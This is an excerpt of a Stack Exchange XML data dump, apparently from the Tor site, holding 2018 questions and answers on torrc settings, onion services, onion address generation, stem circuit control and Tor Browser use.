  <row Id="17029" PostTypeId="2" ParentId="17027" CreationDate="2018-04-16T07:00:02.087" Score="1" Body="&lt;p&gt;The Tor Browser should be sufficient on any platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But any answer depends on what kind of attacks you want to protect yourself against. I recommend to read &lt;a href=&quot;https://ssd.eff.org/en/module/assessing-your-risks&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assessing Your Risks&lt;/a&gt; by the &lt;a href=&quot;https://ssd.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EFF&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site also contains a good tutorial on &lt;a href=&quot;https://ssd.eff.org/en/module/how-use-tor-macos&quot; rel=&quot;nofollow noreferrer&quot;&gt;how to use the Tor Browser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user20708" LastActivityDate="2018-04-16T07:00:02.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17030" PostTypeId="2" ParentId="14341" CreationDate="2018-04-16T09:41:52.703" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Open Finder&lt;/li&gt;&#xA;&lt;li&gt;Press Command, Shift, G&lt;/li&gt;&#xA;&lt;li&gt;Enter this command: ~/Library/Application Support/TorBrowser-Data/Tor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should be able to see the Torcc file&lt;/p&gt;&#xA;" OwnerUserId="21739" LastEditorUserId="21739" LastEditDate="2018-04-16T09:49:50.850" LastActivityDate="2018-04-16T09:49:50.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17031" PostTypeId="2" ParentId="17026" CreationDate="2018-04-16T19:37:34.653" Score="0" Body="&lt;p&gt;You cannot stop arbitrary client IP addresses from building circuits that involve your exit node. How would your exit even know what clients are using it? It doesn't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure your exit node to not connect &lt;strong&gt;out&lt;/strong&gt; to specific IP addresses and ports by using the &lt;code&gt;ExitPolicy&lt;/code&gt; torrc options.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-16T19:37:34.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17032" PostTypeId="2" ParentId="17024" CreationDate="2018-04-16T19:39:57.843" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm running a Exit-Relay&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No you aren't. Your torrc clearly says &lt;code&gt;ExitRelay 0&lt;/code&gt; which means you are &lt;strong&gt;NOT&lt;/strong&gt; an exit.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tried to establish rendezvous on non-OR circuit with purpose Acting as &#xA;  rendevous (pending)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This isn't a problem for you to solve. &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/15618&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/15618&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-16T19:39:57.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17038" PostTypeId="1" AcceptedAnswerId="19146" CreationDate="2018-04-17T15:06:11.780" Score="0" ViewCount="375" Body="&lt;p&gt;I want to create a browser bundle that supports the following things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a standalone tor process that i launch it using the controller connection from the stem library and i manually connect tor-browser to this standalone process by specifying the related environment variables and i have a add-on written using web-extension API that use native messaging for communicating between the native application and the web extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this method the proper way to have our own customized tor browser bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my main point is to generate circuit's that are static during the lifetime of the browser and give our clients functionality to select their desired country for entry and middle and exit relays.&#xA;for these purpose's i am launching the tor process using a specific config(for static circuits) and &#xA;using stem to prevent tor from attaching streams to circuits by itself and i do it manually(for using our custom generated circuits).&#xA;the first problem i have is that attaching streams to circuits manually is not a stable and reliable solution according to my experiment.&#xA;the suggested code for this according to the stem documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;circuit_id = controller.new_circuit(path, await_build = True)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;def attach_stream(stream):&#xA;      if stream.status == 'NEW':&#xA;        controller.attach_stream(stream.id, circuit_id)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;controller.add_event_listener(attach_stream, stem.control.EventType.STREAM)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the second problem is that i need my circuit's to be static and for that i am using these command-line options to launch my tor process:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;config = {&#xA;            'SocksPort': str(SOCKS_PORT)+' '+'IsolateSOCKSAuth'+' '+'KeepAliveIsolateSOCKSAuth',&#xA;            'ControlPort': str(CONTROL_PORT),&#xA;            'CircuitsAvailableTimeout':'86400',&#xA;            'NewCircuitPeriod':'86400',&#xA;            'MaxCircuitDirtiness':'86400',&#xA;            'DirAuthorityFallbackRate':'0',&#xA;            'KeepalivePeriod':'60'&#xA;          },&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;from my point of knowledge this config should make my circuits to be available&#xA;for 24 hours, but the actual period that my circuit is available is far far less than idle(something about 10 minutes or less).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i really appreciate if you guys help me to fix these issues, especially the second one.&#xA;thank u &lt;/p&gt;&#xA;" OwnerUserId="21249" LastActivityDate="2018-12-18T15:31:02.413" Title="customizing tor browser bundle" Tags="|tor-browser-bundle|circuit|stem|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17042" PostTypeId="2" ParentId="13542" CreationDate="2018-04-18T18:15:54.333" Score="3" Body="&lt;p&gt;You are right, it will not work. You need to have an ipv4 address. Only (full) dual-stack provides both ipv6 and ipv4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DualStack Lite (very common in Germany) means you have only a native ipv6 address, although through your provider you can make outgoing ipv4 requests. The other server will see an ipv4 address and can respond to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opposite is not true: You do not have a public ipv4 address, but only a public ipv6 address. That is why you can only receive incoming requests over ipv6. Because of this limitation, it is called &quot;Lite&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some provides in Germany allow new (ipv6 only) customers to get an ipv4 address, but it will cost extra (e.g., MNet charges around 5 Euro per month).&lt;/p&gt;&#xA;" OwnerUserId="8079" LastActivityDate="2018-04-18T18:15:54.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17048" PostTypeId="1" CreationDate="2018-04-20T13:08:34.377" Score="0" ViewCount="797" Body="&lt;p&gt;I try to create a middlebox to redirect tor trafic but i have a problem. Tor doesn't create dns port 5353 as i configured in /etc/tor/torrc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040 IsolateClientAddr IsolateClientProtocol IsolateDestAddr IsolateDestPort&#xA;DNSPort 5353&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See my netstat :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@debian:~/Documents# netstat -plnt&#xA;Connexions Internet actives (seulement serveurs)&#xA;Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat        PID/Program name    &#xA;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      668/tor             &#xA;tcp        0      0 127.0.0.1:9040          0.0.0.0:*               LISTEN      668/tor             &#xA;tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      580/sshd            &#xA;tcp6       0      0 :::22                   :::*                    LISTEN      580/sshd            &#xA;root@debian:~/Documents# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ty for your help&lt;/p&gt;&#xA;" OwnerUserId="21780" LastEditorUserId="88" LastEditDate="2019-08-14T13:45:16.263" LastActivityDate="2021-01-05T16:04:35.587" Title="tor doesn't open dns port" Tags="|configuration|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17050" PostTypeId="2" ParentId="17048" CreationDate="2018-04-20T23:57:30.917" Score="1" Body="&lt;p&gt;Yes, it does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your netstat command is looking for listening TCP ports explicitly: netstat -pln&lt;strong&gt;t&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DNS will be UDP, not TCP.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-04-20T23:57:30.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17053" PostTypeId="2" ParentId="16912" CreationDate="2018-04-21T12:24:30.550" Score="0" Body="&lt;p&gt;In my case a similar problem was caused by Kaspersky Internet Suite. I uninstalled it and now Tor works fine again.&lt;/p&gt;&#xA;" OwnerUserId="21792" LastEditorUserId="114" LastEditDate="2018-06-22T08:31:31.733" LastActivityDate="2018-06-22T08:31:31.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17054" PostTypeId="2" ParentId="16894" CreationDate="2018-04-21T15:57:30.410" Score="1" Body="&lt;p&gt;In Windows, WinSCP works fine for me connecting to a SSHD hidden service through the standalone Tor proxy, locally on port 9050 (connection type SFTP-3). It also works connecting directly to the server over Tor instead of its onion counterpart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Linux it should be possible, using a sftp client that's SOCKS5-aware, e.g., I read that lftp can be built that way (configure --with-socks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lftp.uniyar.ac.narkive.com/U6K4SHHB/about-lftp-using-socks5&quot; rel=&quot;nofollow noreferrer&quot;&gt;about lftp using socks5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware, even if it works, there may be security implications. Do not rely on it for anonymity without looking in depth.&lt;/p&gt;&#xA;" OwnerUserId="3792" LastEditorUserId="3792" LastEditDate="2018-04-21T16:22:26.120" LastActivityDate="2018-04-21T16:22:26.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17055" PostTypeId="1" CreationDate="2018-04-21T17:15:26.577" Score="0" ViewCount="406" Body="&lt;p&gt;I have dedicated web server working by Rybu on Rails. But I don't know how to make it work in &lt;strong&gt;.onion&lt;/strong&gt;  link.&lt;/p&gt;&#xA;" OwnerUserId="21796" LastActivityDate="2022-04-01T05:06:15.637" Title="How make Ruby on Rails app available in .onion?" Tags="|configuration|onion-routing|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17056" PostTypeId="2" ParentId="17055" CreationDate="2018-04-21T18:20:47.383" Score="0" Body="&lt;p&gt;Configure Tor to connect to the port your RoR application is listening on. Say this is port &lt;code&gt;8080&lt;/code&gt; and you want to expose the hidden service on port &lt;code&gt;80&lt;/code&gt;. Then configure it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/docs/tor-onion-service&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/tor-onion-service&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user20708" LastActivityDate="2018-04-21T18:20:47.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17060" PostTypeId="1" CreationDate="2018-04-23T07:45:13.857" Score="0" ViewCount="1683" Body="&lt;p&gt;I am totally new and not very tech-affine.&#xA;I want to create an account for instagram but anonymously as I only want to use it to follow certain people. But when I try, it keeps telling me that it fails to create an account, as it knows that I am using tor. &#xA;What are ways to solve my problem, or maybe just some keywords of things I should learn. Or do I have to use VPN?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="21807" LastActivityDate="2021-03-24T17:20:08.280" Title="Create account with Tor" Tags="|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17061" PostTypeId="1" AcceptedAnswerId="17063" CreationDate="2018-04-23T13:41:33.957" Score="0" ViewCount="1594" Body="&lt;p&gt;Given the length and character set of .onion domains (e.g. DDG  &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3g2upl4pq6kufc4m.onion/&lt;/a&gt;), how many possible Tor hidden-service addresses are there? &lt;/p&gt;&#xA;" OwnerUserId="21810" LastActivityDate="2018-04-28T15:04:02.183" Title="How many possible Tor hidden-service addresses are there?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17062" PostTypeId="2" ParentId="17061" CreationDate="2018-04-23T14:44:27.530" Score="-1" Body="&lt;p&gt;Probably as many as low quality questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is really little point in counting these, and it isn't very logical either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onions are generated randomly, they can't be counted (or shouldn't be counted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll never have all the onions that can be generated in front of us. We'll only ever use a small fraction of the total onions that may exist. The only thing we care about is that our onions, as hashes, won't collide with (i.e., match) other people's onions. As long as the chance of collision is negligible, we can keep using them without counting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counting onions is like counting rational numbers. There is a case for saying that if we represent integers with three decimal digits and leave zero out there can be 999 of them. But it doesn't make sense to say that if we represent rational numbers under a thousand with three digits and three decimals and leave zero out there'll be 999,999 of them. That's not correct. There are infinite rational numbers between 0 and 999.999. Using our notation we can only count 999,999 of them, but that's our fault, not theirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sum, there are more onions than 2^80, though we can expect that excess onions would collide. We will not be present to see the collision - or live long enough - so we won't know, and we don't care. Conversely, there could be fewer onions than 2^80, if some onions would never turn up. We can't prove every onion is possible (i.e., that for every onion a key exists whose hash returns that onion). Even if we proved it for one by finding one, it'd take us too long to prove it for the rest. Hence we'll never prove it. Only a mathematician could speak about his, not a Tor user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all of this, we're none the wiser. The onions haven't been counted. There's a number for it but it doesn't mean anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer has failed because the question has failed.&lt;/p&gt;&#xA;" OwnerUserId="3792" LastEditorUserId="3792" LastEditDate="2018-04-28T15:04:02.183" LastActivityDate="2018-04-28T15:04:02.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17063" PostTypeId="2" ParentId="17061" CreationDate="2018-04-23T18:16:04.350" Score="2" Body="&lt;p&gt;v2 onion addresses are 16 characters long and each character has 32 possible values. Therefore, there are 32^16 == 1,208,925,819,614,629,174,706,176 unique v2 onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many &lt;strong&gt;many&lt;/strong&gt; &lt;strong&gt;MANY&lt;/strong&gt; more possible v3 onion services, but the math required is not as straight forward. Since I'm not confident I got the math correct, I will not state the number I came to here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following blog post links to a website where I list all v2 onion services (and if I did the crypto correctly, all v3 onion services too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://matt.traudt.xyz/p/ZDJV8wxZ.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://matt.traudt.xyz/p/ZDJV8wxZ.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-23T18:16:04.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17066" PostTypeId="1" CreationDate="2018-04-24T05:48:51.570" Score="5" ViewCount="16070" Body="&lt;p&gt;There is a long discussion (covering two years) as to the pros and cons of including uBlock Origin as a pre-bundled part of the TBB (&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17569&quot; rel=&quot;noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/17569&lt;/a&gt;), but no conclusion was reached.  In my experience with normal Firefox, adding uBlock Origin gives a huge improvement in browser performance when going to heavy websites (think CNN.com for example).  This is more critical with TB due to the slowness of the Tor network.  So I would like to add uBlock Origin to my installation, but of course I am concerned that there will be privacy implications.&lt;/p&gt;&#xA;" OwnerUserId="21813" LastActivityDate="2021-03-06T16:51:20.130" Title="Would adding uBlock Origin to Tor Browser compromise its privacy?" Tags="|add-on|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17071" PostTypeId="1" CreationDate="2018-04-25T04:25:04.177" Score="1" ViewCount="1990" Body="&lt;p&gt;Tor v2 addresses were generated by &lt;a href=&quot;https://security.stackexchange.com/questions/29772/how-do-you-get-a-specific-onion-address-for-your-hidden-service&quot;&gt;a base32 string of the first 80 bits of the SHA1 hash of the private key&lt;/a&gt; (sic - public key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I generate Tor v3 addresses?&lt;/strong&gt; (basic command line tools preferred, &lt;code&gt;openssl&lt;/code&gt;, &lt;code&gt;ssh-keygen&lt;/code&gt;, &lt;code&gt;base32&lt;/code&gt; and so on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please add sample &lt;code&gt;key.pub&lt;/code&gt;, (full, not first 2 bytes of) &lt;code&gt;checksum&lt;/code&gt;, and resulting &lt;code&gt;.onion&lt;/code&gt; address.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a sample (encoded in hex).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;hs_ed25519_public_key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3d3d 2065 6432 3535 3139 7631 2d70 7562&#xA;6c69 633a 2074 7970 6530 203d 3d00 0000&#xA;0044 6619 5537 af38 e2c6 7ac2 d8f6 c13f&#xA;958f 7e63 41d0 60e2 727f ca7b a285 722b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;hs_ed25519_secret_key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3d3d 2065 6432 3535 3139 7631 2d73 6563&#xA;7265 743a 2074 7970 6530 203d 3d00 0000&#xA;40ff f076 1f62 2657 85e9 0ec8 a2f9 7c52&#xA;1a6f 97ab bc20 2bd8 13e6 7442 7d67 506c&#xA;27aa 4c9b 935a 15c9 891d f2b0 e2a2 8acd&#xA;68fc 8bc8 a483 2829 7f93 9de4 f714 cb59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resulting address&lt;/strong&gt;&lt;br&gt;&#xA;(do not use this address - the private key is now public)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abcgmgkvg6xtrywgplbnr5wbh6ky67tdihigbytsp7fhxiufoiv6w3yd.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21057" LastEditorUserId="21057" LastEditDate="2018-05-04T21:41:14.627" LastActivityDate="2024-02-02T22:42:25.303" Title="Generating new addresses" Tags="|onion-services|address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17075" PostTypeId="2" ParentId="17071" CreationDate="2018-04-25T15:04:55.840" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt#n2013&lt;/a&gt; (links to the correct line as of today. If you're from the future, you might need to ctrl-f for &quot;ONIONADDRESS&quot;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The onion address of a hidden service includes its identity public key, a&#xA;   version field and a basic checksum. All this information is then base32&#xA;   encoded as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; onion_address = base32(PUBKEY | CHECKSUM | VERSION) + &quot;.onion&quot;&#xA; CHECKSUM = H(&quot;.onion checksum&quot; | PUBKEY | VERSION)[:2]&#xA;&#xA; where:&#xA;   - PUBKEY is the 32 bytes ed25519 master pubkey of the hidden service.&#xA;   - VERSION is an one byte version field (default value '\x03')&#xA;   - &quot;.onion checksum&quot; is a constant string&#xA;   - CHECKSUM is truncated to two bytes before inserting it in onion_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are a few example addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   pg6mmjiyjmcrsslvykfwnntlaru7p5svn6y2ymmju6nubxndf4pscryd.onion&#xA;   sp3k262uwy4r2k3ycr5awluarykdpag6a7y33jxop4cs2lu5uz5sseqd.onion&#xA;   xa4r2iadxm55fbnqgwwi5mymqdcofiu3w6rpbtqn7b2dyn7mgwj64jyd.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information about this encoding, please see our discussion thread&#xA;   at [ONIONADDRESS-REFS].&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-25T15:04:55.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17076" PostTypeId="1" CreationDate="2018-04-25T18:39:39.057" Score="1" ViewCount="2016" Body="&lt;p&gt;i have installed tor and torrequest package for python. while working with torrequest package from python i faced the problem that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OSError: 'tor' isn't available on your system. Maybe it's not in your PATH?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is what i enter the python code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with TorRequest() as tr:&#xA;resp=tr.get('http://ipecho.net/plain')&#xA;print(resp.text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it raised the error &#xA;i installed tor browser &#xA;what should i do ?&#xA;do i need some other package to work with it&lt;/p&gt;&#xA;" OwnerUserId="21838" LastActivityDate="2018-08-24T00:01:06.370" Title="tor is not working with python on windows" Tags="|tor-browser-bundle|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17077" PostTypeId="2" ParentId="17076" CreationDate="2018-04-25T18:48:31.003" Score="1" Body="&lt;p&gt;After skimming what I believe is &lt;a href=&quot;https://github.com/erdiaker/torrequest&quot; rel=&quot;nofollow noreferrer&quot;&gt;the TorRequests source code&lt;/a&gt;, it looks like you either need to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;properly point TorRequests at Tor Browser's ControlPort and SocksPort, or &lt;/li&gt;&#xA;&lt;li&gt;add tor.exe to your path so TorRequests can launch Tor itself.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 1 is easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example in the README tells you how to specify the socks and control port to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser opens a SocksPort on 9150 by default and a ControlPort on 9151 by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To the best of my knowledge, TorRequests is not created by anyone associated with the Tor Project)&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-04-25T18:48:31.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17080" PostTypeId="2" ParentId="3900" CreationDate="2018-04-26T19:32:36.637" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Has anybody had any success using Tor Browser with Marionette?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It was possible up to (at least) 52.3.0. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;start the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd tor-browser_en-US/Browser&#xA;./start-tor-browser -marionette&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;connect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from marionette_driver.marionette import Marionette&#xA;client = Marionette('localhost', port=2828)&#xA;client.start_session()&#xA;client.navigate(&quot;http://torproject.org&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2018-04-26T19:32:36.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17088" PostTypeId="2" ParentId="16468" CreationDate="2018-04-28T23:16:21.387" Score="0" Body="&lt;p&gt;There are two factors that would contribute to how fast tor is for you; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Speed of your internet connection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The speed of the relays your tor connection is running through.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The main way for people to speed the tor network up would be for anybody who could, run a fast relay or fast bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your in software development, the tor source code is open source at least for the most part, so one COULD try to find ways to make the tor software run faster via source code, but if you were going to do that, make sure your not doing anything that could compromise the security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your ISP itself is throttling tor traffic, try using an obfuscated bridge.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-04-28T23:16:21.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17090" PostTypeId="2" ParentId="6727" CreationDate="2018-04-29T12:08:35.360" Score="0" Body="&lt;p&gt;I think via &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exonerator.torproject.org/&lt;/a&gt; you should find your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this helps you, I am new here.&lt;/p&gt;&#xA;" OwnerUserId="21867" LastActivityDate="2018-04-29T12:08:35.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17092" PostTypeId="1" CreationDate="2018-04-29T18:43:00.870" Score="0" ViewCount="857" Body="&lt;p&gt;Since I've been using the Tor Browser, I am unable to access my router at &lt;a href=&quot;http://192.168.1.254&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://192.168.1.254&lt;/a&gt;.  Is this merely a coincidence or an unfortunate side effect of using the Tor Browser.  I'd like to avoid doing a &quot;factory reset&quot; to access my router.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="21871" LastActivityDate="2019-09-26T19:07:50.033" Title="Can't I access my router after using the Tor Browser!" Tags="|routers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17093" PostTypeId="2" ParentId="17092" CreationDate="2018-04-29T19:39:39.527" Score="2" Body="&lt;p&gt;When you access a site via the Tor Browser it sends you traffic through different servers to ensure your anonymity. This means that you cannot access any computers on your local network - including your router as it tries to send the data via Tor. &#xA;To fix this simply use another browser for accessing your local network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="21873" LastActivityDate="2018-04-29T19:39:39.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17095" PostTypeId="1" CreationDate="2018-04-30T13:16:46.823" Score="0" ViewCount="296" Body="&lt;p&gt;I use Nord VPN. Then I istalled TOR.&#xA;Now checking the used IP, TOR and VPN gives me a different one.&#xA;My question: How to &quot;combine&quot; TOR and VPN so the TOR is using the VPN?&#xA;Many thank´s!&#xA;Joe&lt;/p&gt;&#xA;" OwnerUserId="21877" LastActivityDate="2018-05-01T02:16:28.903" Title="how to use TOR combined with a VPN" Tags="|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17098" PostTypeId="2" ParentId="17095" CreationDate="2018-05-01T02:16:28.903" Score="1" Body="&lt;p&gt;Just connect your vpn software and then after your vpn software is connected open tor.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-05-01T02:16:28.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17103" PostTypeId="1" CreationDate="2018-05-03T08:24:08.370" Score="0" ViewCount="1470" Body="&lt;p&gt;Want to get tor on my iPhone 7 where to go to download and how to properly download tor. I clicked the Mac download button and it gave two locations folder and iCloud Drive. Sent it and Tried to open in both but will not ope. &lt;/p&gt;&#xA;" OwnerUserId="21903" LastActivityDate="2018-08-01T17:02:29.980" Title="How to get tor on my iPhone 7" Tags="|support|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
